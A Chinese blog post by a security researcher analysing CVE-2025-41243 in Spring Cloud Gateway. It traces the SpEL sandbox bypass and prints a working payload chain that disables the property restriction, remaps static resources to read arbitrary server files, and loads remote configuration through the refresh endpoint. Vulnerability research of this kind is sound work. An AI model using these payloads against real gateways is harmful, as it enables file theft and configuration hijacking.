Toc
  1. 前言
  2. 历史漏洞
  3. 修复分析
  4. 柳暗花明
  5. 文件读取
  6. 配置重载
  7. 原生RCE?
  8. 结语
Toc
0 results found
白帽酱
CVE-2025-41243 Spring Cloud Gateway SpEL 沙箱从任意属性访问到任意文件下载
2025/09/29 WEB WEB

前言

最近,spring cloud getway 又出了一个10.0分的 SpEL漏洞

这个漏洞和之前的CVE-2022-22947漏洞一样 依然是在热更新路由时触发表达式执行

之前的漏洞不是已经修复的非常完美了吗,为什么还能继续利用呢?

历史漏洞

在之前的修复方案中,原本使用的 StandardEcalutionContext上下文被替换成了一个新的 SimpleEvaluationContext上下文

// org/springframework/cloud/gateway/support/ShortcutConfigurable.java
public GatewayEvaluationContext(BeanFactory beanFactory) {
this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
Environment env = beanFactory.getBean(Environment.class);
boolean restrictive = env.getProperty(
"spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled", Boolean.class, true);
if (restrictive) {
delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
.withMethodResolvers((context, targetObject, name, argumentTypes) -> null)
.build();
}
else {
delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}
}

这个新上下文有着非常多的限制 :

  1. getBeanResolver 返回了null 不能访问任何bean
  2. getTypeConverter返回了一个 typeNotFoundTypeLocator 获取任何类型都会失败
  3. methodResolverpropertyAccessors 则由外部提供

好在ShortcutConfigurable并不是把所有的方法都委派给了 SimpleEvaluationConte

beanFactoryResolver仍然是可用的 但是 RestrictivePropertyAccessor限制了属性的读取

现在,修复后的SpEL 只能进行bean属性的受限写访问,和一些基本的内置语法操作

修复分析

@Test
public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails() {
parser = new SpelExpressionParser();
ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable() {
@Override
public List<String> shortcutFieldOrder() {
return Arrays.asList("bean", "arg1");
}
};
Map<String, String> args = new HashMap<>();
args.put("bean", "#{ @myMap['my.flag'] = true}");
args.put("arg1", "val1");
assertThatThrownBy(() -> {
ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this.beanFactory);
}).isInstanceOf(SpelEvaluationException.class);
}

从新的补丁和其中的测试用例不难发现,在新漏洞的修复方案中SimpleEvaluationContext加了一个新的限制.withAssignmentDisabled() 这禁用了所有赋值表达式操作

这里有一个SpEl特性@myMap['my.flag'].abc @myMap.abc 会被属性访问限制读取

@myMap['my.flag'] @myMap 但是这种访问并不会受到属性绑定的访问限制

也就是说Bean Map是可以任意读写的 这里很容易想到 systemPropertiessystemEnvironment两个 map 储存了spring的环境变量配置

#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}

通过这种表达式设置环境变量后 可以部分禁用刚刚的安全选项

但禁用这个安全选项后,情况也没有好太多

属性的读取限制解除了,但属性的写入又被限制住了,其他的限制仍然没有解除 =.= 非常头疼

另外 spring cloud gateway使用的WEB框架是WebFlux而不是传统的 Web MVC

h2-console这种通过动态注册Servlet 的应用在这种环境下无法正常工作

WebFlux 并不支持Servlet 而且大部分配置无法自动触发更新 基本没有用处

那 SpEL 赋值表达式怎么做才能实现代码执行呢?

柳暗花明

我通过仔细跟踪SpEL的执行流程有了一些新的发现

//org.springframework.expression.spel.support.ReflectivePropertyAccessor
public TypedValue read(EvaluationContext context, @Nullable Object target, String name) throws AccessException {
Object value;
if (this.member instanceof Method) {
Method method = (Method)this.member;

try {
ReflectionUtils.makeAccessible(method);
value = method.invoke(target);
return new TypedValue(value, this.typeDescriptor.narrow(value));
} catch (Exception var6) {
throw new AccessException("Unable to access property '" + name + "' through getter method", var6);
}
} else {
Field field = (Field)this.member;

try {
ReflectionUtils.makeAccessible(field);
value = field.get(target);
return new TypedValue(value, this.typeDescriptor.narrow(value));
} catch (Exception var7) {
throw new AccessException("Unable to access field '" + name + "'", var7);
}
}
}

SpEL的的属性访问操作 最终是通过ReflectivePropertyAccessor类进行的

除了传统的反射读取属性外 它还支持通过调用方法来获取返回值 这里的预期设计应该是为了访问 getter方法

//org.springframework.expression.spel.support.ReflectivePropertyAccessor#findGetterForProperty(java.lang.String, java.lang.Class<?>, boolean)
@Nullable
protected Method findGetterForProperty(String propertyName, Class<?> clazz, boolean mustBeStatic) {
Method method = this.findMethodForProperty(this.getPropertyMethodSuffixes(propertyName), "get", clazz, mustBeStatic, 0, ANY_TYPES);
if (method == null) {
method = this.findMethodForProperty(this.getPropertyMethodSuffixes(propertyName), "is", clazz, mustBeStatic, 0, BOOLEAN_TYPES);
if (method == null) {
method = this.findMethodForProperty(new String[]{propertyName}, "", clazz, mustBeStatic, 0, ANY_TYPES);
}
}

return method;
}

我们继续往上游看findGetterForProperty负责把属性名解析成 getter方法。

在这里的实现居然使用的是属性名作为方法名兜底

也就是说 我们现在有了一个可以调用任意无参公开方法的能力 !!!!!!!!

文件读取

spring getway 内置的bean有几百个,我稍微过了一遍bean的名称

很快就发现一个有趣的东西 resourceHandlerMapping

它对应SimpleUrlHandlerMapping储存了静态资源的maping

通过调试 发现它的 urlMap属性储存了静态资源映射列表 而且存在对应的getter

this.urlMap = {LinkedHashMap@12122}  size = 2
"/webjars/**" -> {ResourceWebHandler@9959} "ResourceWebHandler [classpath [META-INF/resources/webjars/]]"
"/**" -> {ResourceWebHandler@12335} "ResourceWebHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/]]"

直接尝试通过表达式修改文件映射列表 不出意外的话它不会生效

@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'

因为他已经初始化过了 实际上使用的locationsToUse这个属性 它不是一个基本类型 不好修改啊

locationsToUse = {ArrayList@10090}  size = 1
0 = {ClassPathResource@12374} "class path resource [META-INF/resources/webjars/]"
path = "META-INF/resources/webjars/"
classLoader = {RestartClassLoader@12377}
clazz = null

好在ResourceWebHandler刚好有一个静态方法 afterPropertiesSet

public void afterPropertiesSet() throws Exception {
this.resolveResourceLocations();
if (this.resourceResolvers.isEmpty()) {
this.resourceResolvers.add(new PathResourceResolver());
}

this.initAllowedLocations();
if (this.getResourceHttpMessageWriter() == null) {
this.resourceHttpMessageWriter = new ResourceHttpMessageWriter();
}

this.resolverChain = new DefaultResourceResolverChain(this.resourceResolvers);
this.transformerChain = new DefaultResourceTransformerChain(this.resolverChain, this.resourceTransformers);
}
private void resolveResourceLocations() {
List<Resource> result = new ArrayList(this.locationResources);
if (!this.locationValues.isEmpty()) {
Assert.notNull(this.resourceLoader, "ResourceLoader is required when \"locationValues\" are configured.");
Assert.isTrue(CollectionUtils.isEmpty(this.locationResources), "Please set either Resource-based \"locations\" or String-based \"locationValues\", but not both.");
Iterator var2 = this.locationValues.iterator();

while(var2.hasNext()) {
String location = (String)var2.next();
((List)result).add(this.resourceLoader.getResource(location));
}
}

if (this.isOptimizeLocations()) {
result = (List)((List)result).stream().filter(Resource::exists).collect(Collectors.toList());
}

this.locationsToUse.clear();
this.locationsToUse.addAll((Collection)result);
}

它通过调用resolveResourceLocations重新设置了locationsToUse

到这里我们有了一个完整的利用链

  1. 通过bean map 禁用安全限制

#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}"

  1. 覆盖属性替换路由

#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}"

  1. setter 触发无参静态方法刷新配置

#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}"

curl http://127.0.0.1:8080/webjars/Windows/win.ini

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
.....

成功了! 静态资源的路径被重写 现在我们可以访问目标服务器磁盘下的任何文件了

配置重载

另一个 bean refreshEndpoint 同样吸引了我的注意力

果然不出所料,其中 refresh 方法可以实现配置刷新

public Collection<String> refresh() {
Set<String> keys = this.contextRefresher.refresh();
return keys;
}

设置一个从外部加载的配置

#{@systemProperties['spring.config.import'] = 'optional:http://127.0.0.1:1234/1.yml'}

尝试刷新配置

#{@refreshEndpoint.refresh'}

结果发现spring内部开始死循环刷新

由于刷新时路由表达式也会重新执行 这导致了刷新配置死循环 23333 经典死循环重启

稍微修改一下 poc

#{@systemProperties['okkk'] != 'true' ? (@systemProperties['okkk'] = 'true') + @refreshEndpoint.refresh : 'ok'}

这里通过一个设置自定义系统属性,来避免配置循环加载

第一次执行表达式会将 okkk 属性设置为 true

下次表达式执行时 三元表达式会避免二次执行refresh 来防止死循环刷新

::ffff:127.0.0.1 - - [17/Sep/2025 23:02:41] "GET /1.yml HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [17/Sep/2025 23:03:06] "HEAD /1.yml HTTP/1.1" 200 -

spring配置文件成功的重载了

但是高版本spring boot已经使用了安全的yaml反序列化环境来加载配置文件 所以无法执行命令

随后我尝试了设置logging.config 来触发logback的远程配置载入

#{@systemProperties['logging.config'] = 'http://127.0.0.1/abc.xml'}

刷新配置后没有事情发生 看起来logback的不会随着热刷新而重新触发初始化 这条路看起来也不行

原生RCE?

spring.cloud.gateway.discovery.locator 这个bean也有点意思

spring:
application:
name: demo-service
cloud:
nacos:
discovery:
server-addr: localhost:8848
gateway:
discovery:
locator:
enabled: true

开启spring 注册中心 + discovery locator 后 urlExpressionincludeExpression这两个有setter的属性在路由注册解析时会被当做SpEL表达式执行

private DiscoveryClientRouteDefinitionLocator(String discoveryClientName, DiscoveryLocatorProperties properties) {
this.properties = properties;
if (StringUtils.hasText(properties.getRouteIdPrefix())) {
this.routeIdPrefix = properties.getRouteIdPrefix();
} else {
this.routeIdPrefix = discoveryClientName + "_";
}

this.evalCtxt = SimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
}

它的上下文则是另外一幅场景 forReadOnlyDataBinding+ withInstanceMethods

虽然它可以执行任意公开方法了 但是仍然不能获取类型 甚至连访问bean都不可以

结语

这个漏洞过去了几周都没有几个好的分析文章,就连漏洞作者在之后只给出了DoS和配置读取的利用

折腾了几天也没有看到哪里可以RCE的地方,也许真的会有 ?

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!